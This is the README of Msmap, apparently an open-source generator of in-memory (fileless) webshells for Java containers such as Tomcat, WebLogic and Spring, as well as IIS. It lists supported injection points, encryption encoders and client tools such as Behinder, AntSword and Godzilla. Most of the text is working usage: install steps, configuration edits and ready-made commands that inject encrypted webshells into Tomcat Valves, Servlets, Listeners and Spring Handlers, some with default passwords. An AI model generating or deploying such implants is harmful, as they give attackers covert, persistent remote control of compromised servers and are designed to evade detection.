MSMAP

Msmap is a Memory WebShell Generator. Compatible with various Containers, Components, Encoder, WebShell / Proxy / Killer and Management Clients. 简体中文

The idea behind I, The idea behind II, The idea behind III

Feature [WIP]

Function

Container

Java
- Tomcat7
- Tomcat8
- Tomcat9
- Tomcat10
- Resin3
- Resin4
- WebSphere
- GlassFish
- WebLogic
- JBoss
- Spring*
- Netty
- JVM*
.NET
- IIS
PHP
Python

*: SpringHandler only support for JDK8+

*: Default support for Linux Tomcat 8/9, more versions can be adapted according to the advanced guide.

WebShell / Proxy / Killer

WebShell
- CMD / SH
- AntSword
- JSPJS
- Behinder
- Godzilla
No need for modularity

~~Proxy: Neo-reGeorg, wsproxy~~

~~Killer: java-memshell-scanner, ASP.NET-Memshell-Scanner~~

Decoder / Decryptor / Hasher

Decoder
- Base64
- Hex
Decryptor
- XOR
- RC4
- AES128
- AES256
- RSA
Hasher
- MD5
- SHA128
- SHA256

Usage

git clone git@github.com:hosch3n/msmap.git
cd msmap
python generator.py

[Warning] MUST set a unique password, Options are case sensitive.

Advanced

Edit config/environment.py

# Auto Compile
auto_build = True

# Base64 Encode Class File
b64_class = True

# Generate Script File
generate_script = True

# Compiler Absolute Path
java_compiler_path = r"~/jdk1.6.0_04/bin/javac"
dotnet_compiler_path = r"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"

Edit gist/java/container/tomcat/servlet.py

// Servlet Path Pattern
private static String pattern = "*.xml";

If an encryption encoder is used in WsFilter, the password needs to be the same as the path (eg /passwd)

gist/java/container/jdk/javax.py with lib/servlet-api.jar can be replaced depending on the target container.

pip3 install pyperclip to support automatic copying to clipboard.

Example

CMD / SH

Command with Base64 Encoder | Inject Tomcat Valve

python generator.py Java Tomcat Valve Base64 CMD passwd

AntSword

Type JSP with default Encoder | Inject Tomcat Valve

python generator.py Java Tomcat Valve RAW AntSword passwd

Type JSP with aes_128_ecb_pkcs7_padding_md5 Encoder | Inject Tomcat Listener

python generator.py Java Tomcat Listener AES128 AntSword passwd

Type JSP with rc_4_sha256 Encoder | Inject Tomcat Servlet

python generator.py Java Tomcat Servlet RC4 AntSword passwd

Type JSP with xor_md5 Encoder | AgentFiless Inject HttpServlet

python generator.py Java JDK JavaX XOR AntSword passwd

Type JSPJS with aes_128_ecb_pkcs7_padding_md5 Encoder | Inject Tomcat WsFilter

python generator.py Java Tomcat WsFilter AES128 JSPJS passwd

Type JSPJS with xor_md5 Encoder | Inject Spring Handler

python generator.py Java Spring Handler XOR JSPJS passwd

Behinder

Type default_aes | Inject Tomcat Valve

python generator.py Java Tomcat Valve AES128 Behinder rebeyond

Type default_xor_base64 | Inject Spring Interceptor

python generator.py Java Spring Interceptor XOR Behinder rebeyond

Godzilla

Type JAVA_AES_BASE64 | Inject Tomcat Valve

python generator.py Java Tomcat Valve AES128 Godzilla superidol

Type JAVA_AES_BASE64 | AgentFiless Inject HttpServlet

python generator.py Java JDK JavaX AES128 Godzilla superidol

Type JAVA_AES_BASE64 | Inject Spring Handler

python generator.py Java Spring Handler AES128 Godzilla superidol

Known issue

Reference

GodzillaMemoryShellProject

AntSword-JSP-Template

As-Exploits memshell_manage

Behinder | wsMemShell | ysomap

wnstjr93/msmap